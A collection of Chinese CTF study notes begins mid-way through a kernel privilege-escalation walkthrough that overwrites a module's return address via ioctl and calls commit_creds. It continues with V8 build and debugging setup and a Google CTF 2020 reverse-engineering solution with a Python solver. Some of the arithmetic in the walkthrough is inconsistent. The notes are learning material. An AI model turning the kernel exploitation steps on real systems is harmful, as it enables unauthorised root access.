ffffffff81b72650 R __ksymtab_prepare_kernel_cred
ffffffff81b89b07 r __kstrtab_prepare_kernel_cred
/ # grep commit_creds /proc/kallsyms
ffffffff8109a250 T commit_creds
ffffffff81b69b00 R __ksymtab_commit_creds
ffffffff81b89b43 r __kstrtab_commit_creds
/ # cat /proc/modules
rootme 1616 0 - Live 0xffffffffc0000000 (OE)
./sys/module/rootme
./proc/rootme

疑问解答:此时已经获得root权限了,不就可以直接cat /flag了?

实际题目中,不会把真的flag放文件里给你,而是在远程环境了。但是本地的地址和远程的地址是一样的,所以,可以通过这种方法得到本地的用户权限,找到prepare_kernel_cred和commit_creds的地址,但是没有办法直接获得flag。

查找基地址

以root权限运行,参考上面(修改etc/init.d/rcS)

1
2
/home/pwn # cat /proc/modules 
baby 16384 0 - Live 0xffffffffc0002000 (POE)
调试内核

(1)编辑startvm.sh,端口可以修改

0x7ffd958d7e08

image-20200905004851358

(2)执行./startvm.sh

(3)打开新窗口,在level1目录下执行gdb exp

(4)远程连接,target remote :1234

(5)下断点(ida里面的地址+基地址),继续执行

image-20200905103517562

image-20200905103116021

(6)在原来的窗口,执行exp

image-20200905103146690

(7)接着,就可以正常调试了

执行exp步骤

(1)编译exp.c

1
2
$ gcc exp.c -o exp -w -static -fPIC
cd myimage/

(2)将initramfs.cpio解压到myimage文件夹

find . | cpio -H newc -o > ../initramfs.cpio

(3)将exp移入myimage文件夹下

1
cp exp myimage/

(4)重新打包,执行./startvm.sh

exp已在/目录下了

image-20200903111831663

疑惑的0x88和0x80

一开始,说将0x100的用户数据拷贝到内核栈上,高度只有0x88,后面又说实际上缓冲区距离rbp0x80,有点迷。

一开始的0x88,指的是初始化的时候。

但是程序初始化的时候,有个压栈操作,所以少减了一个8

image-20200903112746033

程序执行流程

init_module是内核加载模块的时候调用的

开始的时候(内核加载模块):调用init_module

中间的时候:

我们调用ioctl调用了sub_0函数

ioctl的参数就是sub_0的参数

image-20200905120014834

return (signed int)copy_from_user(&v4, v2, 256LL);

我们通过buf覆盖栈上的返回地址,执行v2中copy过去的templine函数,获得shell

结束的时候:cleanup_module

前言

搭个环境而已,花了我n久,哭泣。。。

这里就讲下自己搭环境的经过,,,


使用的环境:ubuntu 18.04

初次尝试:本地

参考博客

主要参考的是这两篇博客:

https://eternalsakura13.com/2018/05/06/v8/

https://bbs.pediy.com/thread-252812.htm


vpn

我的本地代理,开了没用,不知道为什么,本机可以上google,但是虚拟机里怎么都不可以,,,然后,,选择在虚拟机里面使用vpn

这个是我用的:https://neworld.date/user(简单好用而且不贵)

linux的教程:https://support.neworld.date/linux/(不要用自动配置,一次性的,后面出问题了,还是要上手动配置)

别的问题不大,注意的两点是:

1.要使用的时候,需要在命令前面加上proxychains4

2.选择节点的时候,一定要选择有人的

3.一定是root账户

4.在/root目录下

执行命令 proxychains4 curl myip.ipip.net 。如果显示empty server类似的

那就重新来一遍(建议:wmware弄个快照,,每次都重新配,心真的很累),,,我当时玄学,学校里的网不行(貌似是因为校园网不能翻外网),连了自己的热点就可以了。

环境搭建

依赖

1
apt-get install binutils python2.7 perl socat git build-essential gdb gdbserver

工具

depot_tools

这个工具是用来得到v8源码的

1
2
3
root$ cd ~
(proxychains4 )git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/root/depot_tools"' >> ~/.bashrc
ninja

这个工具是用来编译v8的

1
2
3
4
root$ cd ~
(proxychains4 )git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/root/ninja"' >> ~/.bashrc

echo两句命令,主要是写入环境变量,后期fetch v8的时候,可能会说找不到fetch命令,可能就是环境变量没了,可以通过vim ~/.bashrc,查看最后面是否有下面这两句话,没有的话,加上

1
2
3
export PATH=$PATH:"/root/depot_tools"
export PATH=$PATH:"/root/ninja"
bash //载入环境变量

然后就是编译启动,我卡死在了v8,真的很慢,而且最后报错,,,出错,网上看了好多,也没解决,,,TAT

后面的步骤

v8编译

1
2
3
$ fetch v8 && cd v8&& gclient sync
$ tools/dev/v8gen.py x64.debug
$ ninja -C out.gn/x64.debug

启动

1
2
$ ./out/x64.debug/d8
$ ./out/x64.debug/shell

初始尝试失败,,搞了好久都没出来,,,,但是网上大部分都是这种方法


二次尝试

参考博客:

https://eternalsakura13.com/2018/06/26/v8_environment/

服务器

sakura为我们提供了第二种方法,我一开始试了下,但是谷歌云搞不来,没有信用卡啥的。但是后来只能尝试这个,所以找了下其他国外的云服务器。

不需要代理啥的,真是舒服。

知乎上的这篇给了较好的帮助:https://zhuanlan.zhihu.com/p/130402190

我使用的是狗云,进来,“创建景点云服务器”,我一开始用的10G的硬盘,编译的时候发现太小了,然后只好销毁重来一个(这个只要三个工作日内,支持销毁退款)

操作系统选择这个:CentOS 7 BBR,ubuntu 18我也用了,但还是出问题了

image-20201010130803778

然后进入“我的经典云服务器”,启动,用xshell远程连过去

image-20201010131058668

环境搭建

fetch源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo yum groupinstall "Development Tools"  
sudo yum install -y git gdb bzip2 wget
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
mkdir v8
cd v8
fetch v8
cd ~/v8/v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598(2019-starctf这道入门题)
gclient sync
./tools/dev/v8gen.py x64.release(这个真的很慢,要耐心)
ninja -C ./out.gn/x64.release # Release version
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug version
release版本和debug版本

上面的12-15行中,12-13两行下载的是release版本,14-15行下载的是debug版本。release版本可以正常运行,但是有些调试信息不能用,如job命令,执行起来的时候,也会告诉我们,没有调试的符号。

1
2
3
pwndbg: loaded 186 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./d8...(no debugging symbols found)...done.

debug就是调试版本,可以输入更多的调试信息。虽然debug看着好,但是,,,后面有点问题,,,两个都下过来就好。

image-20201015161210557

下过来之后,是这样的。

我们进入x64.debug就可以调试状态下运行d8。。同理release

搭建ftp服务器

1
2
3
4
5
6
cd ~
tar -czvf v8.tar v8
sudo yum install vsftpd -y
systemctl start vsftpd.service(在CentOS7和它之前,启动vsftpd服务的指令是 service vsftpd start,之后要使用新指令)
sudo netstat -nltp | grep 21
cp v8.tar /var/ftp/

然后,浏览器就可以访问到了,点击下载即可。

image-20201011095616016

哇哇哇哇,感天动地,终于搞定了。

测试

实例程序(test.js):

1
2
3
4
5
6
7
8
9
var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a);
%SystemBreak(); //触发第一次调试
%DebugPrint(b);
%SystemBreak(); //触发第二次调试
%DebugPrint(c);
%SystemBreak(); //触发第三次调试

v8的gdb

1
2
3
4
5
6
7
8
cd ~/v8/v8/tools
mv gdbinit gdbinit_v8
cp gdbinit_v8 ~/.gdbinit_v8
cd ~
vim .gdbinit
#加入下面内容
source ~/.gdbinit_v8
source ~/v8/v8/tools/gdb-v8-support.py

命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
cd ~/v8/v8/out.gn/x64.debug/
将test.js放到该目录下
gdb ./d8
gdb-peda$ set args --allow-natives-syntax ./test.js
gdb-peda$ r
pwndbg> r
Starting program: /home/winter/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./test.js
[...]
DebugPrint: 0x3847d864df19: [JSArray]
- map: 0x27aca0f42d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x33ab2b711111 <JSArray[0]>
- elements: 0x3847d864de39 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x27d6f1300c71 <FixedArray[0]> {
#length: 0x1f78960401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3847d864de39 <FixedArray[3]> {
0: 1
1: 2
2: 3
}

pwndbg> job 0x3847d864df19(这个地址根据第九行那里显示地址)
0x3847d864df19: [JSArray]
- map: 0x27aca0f42d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x33ab2b711111 <JSArray[0]>
- elements: 0x3847d864de39 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x27d6f1300c71 <FixedArray[0]> {
#length: 0x1f78960401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3847d864de39 <FixedArray[3]> {
0: 1
1: 2
2: 3
}

v8的gdb也可以了

更新

1
tools/dev/gm.py x64.debug d8

后置返回类型

遇到的情况:看着这三行,貌似懂又貌似不懂的样子,问了下,还真的没见过TAT

image-20201010222238876

1
virtual auto name() const -> std::string = 0;
  • virtual表示虚函数,没关系
  • -> std::string称为后置返回类型
  • auto是占位符(C++11新增用法)

作用:解决模板中函数返回值类型不确定的问题

__read_chk

功能

__read_chk-从文件描述符读取,并进行缓冲区溢出检查

用法

1
2
#include <unistd.h>
ssize_t __read_chk(int *fd*, void * *buf*, size_t *nbytes*, size_t *buflen*);

描述

接口__read_chk()的功能应与接口read()相同,只是 __read_chk()在计算结果之前应检查缓冲区溢出。如果预计会发生溢出,则该函数应中止并且调用它的程序应退出。

参数*buflen*指定缓冲区*buf*的大小 。如果*nbytes*超过 *buflen*,该函数将中止,并且调用它的程序将退出。

所述__read_chk()函数不在源标准; 它仅在二进制标准中。

Linux标准基础核心规范4.1

file文件

1
2
winter@winter-ubuntu16:~/googlectf/reverse-beginner$ file a.out 
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e3a5d8dc3eee0e960c602b9b2207150c91dc9dff, for GNU/Linux 3.2.0, not strippd

ELF二进制文件,64位,x86-64架构,LSB说明是小端的(MSB是大端的)

执行文件

1
2
3
winter@winter-ubuntu16:~/googlectf/reverse-beginner$ ./a.out 
Flag: winter
FAILURE

一个输入点,判断对错

查看字符串

image-20200905153614666

给定的字符串里面有CTF{,很可能是flag的一部分

程序流程

image-20200905160629829

__isoc99_scanf("%15s", &v5);规定了最多输入15个字符,flag很有可能就是15个。

image-20200905160714290

simd指令

全称single instruction multiple data,即单指令多数据运算

其目的就在于帮助CPU实现数据并行,提高运算效率。

shuffle

选取源寄存器的任意字节重新排布到目的寄存器。

通俗来讲:就是将原来寄存器里面字节排列,按你的要求打乱顺序,最后将打乱顺序的存入目的寄存器

网上可以搜到它的伪代码描述

1
2
3
4
5
6
char a[16]; // input a
  char b[16]; // input b
  char r[16]; // output r

  for (i=0; i < 16; i++)
  r[i] = (b[i] < 0) ? 0 : a[b[i] % 16];

https://www.cnblogs.com/celerychen/archive/2013/03/29/2989254.html

image-20200905162233511

13 12 10 08 04 15 03 14 09 11 05 01 07 06 02

假设我们输入的值存放在a[16]数组里面

1
2
索引:  1     2     3     4     5     6     7     8     9     10     11     12     13     14     15 
目的:a[13] a[12] a[10] a[08] a[04] a[15] a[03] a[14] a[09] a[11] a[05] a[01] a[07] a[06] a[02]
add32

每32位(4个字节)做整形加法运算,但是进位不会从一个4字节的包传输到另一个:

image-20200905162639108

xor

做异或操作

image-20200905162718446

因为程序是小端的,所以实际要倒过来,可以通过右键array变过来。

image-20200906230824340

拼凑flag

假设前四个字符就是CTF{,我们根据以上规则进行实验。

1
shuffle = [2, 6, 7, 1, 5, 0xB, 9, 0xE, 3, 0xF, 4, 8, 0xA, 0xC,0xD, 0]

根据shuffle的规则,打乱顺序后的字符串如下

1
2
a[2] a[6] a[7] a[1] a[5] a[11] a[9] a[14] a[3] a[15] a[4] a[8] a[10] a[12] a[13] a[0]
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

所以,一开始我们知道第三个(也就是a[3])是’{‘。

a[3]被放在了索引8的位置,我们继续计算add和xor,就可以得到a[8]了,因为操作后的要和之前的一样。

1
2
3
0x7B + ADD[8] = 0x7B + 0x37 = 0xB2
0xB2 ^ XOR[8] = 0xB2 ^ 0xD4 = 0x66 => flag[8] = 'f'
CTF{ _ _ _ _ f _ _ _ _ _ }\0

所以,就有了

3 => 8 => 11 => 5 => 4 => 10 => 12 => 13 => 14 => 7,依次类推出来所有的flag

但是,这里还有注意的是进位。

11 => 5

1
2
3
0x4D + ADD[5] = 0x4D + 0xDE = 0x12B
0x2B ^ XOR[5] = 0x2B ^ 0x1A = 0x31 => flag[5] = '1'
CTF{ _ 1 _ _ f _ _ M _ _ }\0

这里发生了进位,需要将进位添加到add[6]里面去

其他的也一样。

image-20200906235018243

出现单个数字的,说明进位到了什么索引。

分别add[6]、add[7]、add[8]都发生了进位,但是add[6]加上进位是在第六位计算之前,所以没事。add[8]是add[7]进位,add[7]在四字节分割中是第二个四字节的末尾,所以他的进位无法添加到下一个有效字节,不用管它。

所以,最后只有add[7]在结束后都需要重新计算。

1
2
3
a[14] + ADD[7] = 0x7D + 0xFF = 0x17C
0x7C ^ XOR[7] = 0x7C ^ 0x38 = 0x44 => flag[7] = 'D'
CTF{ S 1 M D f 0 r M 3 ! }\0

由于a[7]变了,相应的a[2]也会变

add[1]有进位(0x4d + 0xbe == 0x10b),add[2]=0xae

1
2
3
a[7] + ADD[7] = 0x44 + 0xae = 0xf2
0x7C ^ XOR[7] = 0xf2 ^ 0xb4 = 0x46 => flag[7] = 'F'
CTF{ S 1 M D f 0 r M 3 ! }\0

我们知道前面三个,这个也算是验证吧。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import binascii
flag = ['C','T','F','{',0,0,0,0,0,0,0,0,0,0,0,'\0']

add = [0xEF, 0xBE, 0xAD, 0xDE, 0xAD, 0xDE, 0xE1, 0xFE, 0x37,0x13, 0x37, 0x13, 0x66, 0x74, 0x63, 0x67]
xor = [0x76, 0x58, 0xB4, 0x49, 0x8D, 0x1A, 0x5F, 0x38, 0xD4,0x23, 0xF8, 0x34, 0xEB, 0x86, 0xF9, 0xAA]
shuffle = [2, 6, 7, 1, 5, 0xB, 9, 0xE, 3, 0xF, 4, 8, 0xA, 0xC,0xD, 0]
index = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]
start = 3


def bianli(number):
for i in range(16):#0-15
if(shuffle[i] == number):
return i
for i in range(14):
h = binascii.b2a_hex(flag[start])
start = bianli(start)
a = chr(((eval("0x"+h) +add[start])&0xff)^xor[start])
if(((eval("0x"+h) +add[start])&0xff00)!=0):
if((start+1)%4 != 0):
print(start+1)
add[start+1]+=(eval("0x"+h) +add[start])>>8
print("number:",start)
print("\nsymbol:",a)
flag[start]=a
if(i==9):
start = 15
if(i==11):
start = 14

flag[2]='F'#flag[2]通过重新计算就是'F',由于a[7]变了

print("add:")
for i in range(15):
print(hex(add[i]))

print("flag:",flag)

参考

https://github.com/Moji99/googleCTF2020-BEGINNER